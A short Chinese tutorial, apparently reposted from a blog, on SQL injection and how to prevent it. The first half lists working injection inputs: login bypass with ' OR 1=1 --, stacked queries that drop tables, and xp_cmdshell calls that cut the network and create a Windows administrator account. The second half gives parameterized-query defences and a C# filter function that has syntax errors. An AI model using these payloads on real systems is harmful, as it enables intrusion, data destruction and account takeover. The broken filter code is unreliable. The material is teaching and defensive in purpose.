SQL注入及防范

一、SQL注入方法

①试探数据库

如在登录框的用户名中输入单引号‘

②略过验证

若知道帐号,则在帐号名的输入框中输入:帐号名’--

若不知帐号,则在帐号名的输入框中输入:‘OR 1=1 --

③执行多个SQL表达式

利用分号分隔表达式如:

输入 ‘;drop table表名--

‘;insert into表名 values('字段1值','字段2值',……)--   注意此法必须知道所有的字段数

;and db_name()>0 --,db_name()是另一个系统变量,返回的是连接的数据库名

④执行存储过程

输入 ‘;exec master..xp-cmdshell 'ipconfig/release' -- 断开网络连接

;exec master..xp_cmdshell 'net user name password /add' -- 用net命令新建了用户名为name、密码为password的windows的帐号

';exec master..xp_cmdshell net localgroup name administrators /add'-- 将新建的帐号name加入管理员组(只适用于用sa连接数据库的情况)

二、解决方案:

①限定字串长度或输入格式

:txtUserID.MaxLength=8

ValidationExpression="\w+"

②使用参数

对于SQL数据库:

strcmd="Select * From Users where userID=@uid and pwd=@pwd"

sqlcommand cmd=new sqlcommand(strcmd,con);

sqlParameter param=cmd.Parameters.Add("@uid",sqlDbType.Varchar,10);

param.value=TextBox1.Text;

对于Access数据库:

string sql="Select userid from test where [user]=? and pwd=?";

              cmd=new OleDbCommand(sql,conn);

              OleDbParameter Puser=new OleDbParameter("user",OleDbType.VarChar,50,"user");

              OleDbParameter Ppwd=new OleDbParameter("pwd",OleDbType.VarChar,50,"pwd");

              cmd.Parameters.Add(Puser);

              cmd.Parameters.Add(Ppwd);

              Puser.Value=this.TextBox1.Text;

              Ppwd.Value=this.TextBox2.Text;

③过滤输入的字符

à''   [à[[]   %à[%]  -à[-]   _à[_]

例:

private string Filter(string strsql)

{

   string strsql;

   strsql=strsql.Replace("'","''");

   strsql=strsql.Replace("[',"[[]"];

   strsql=strsql.Replace("%","[%]");

   strsql=strsql.Replace("-","[-]");

   strsql=strsql.Replace("_","[_]");

   Return strsql;

}

原文地址:https://www.cnblogs.com/ahuang1118/p/172508.html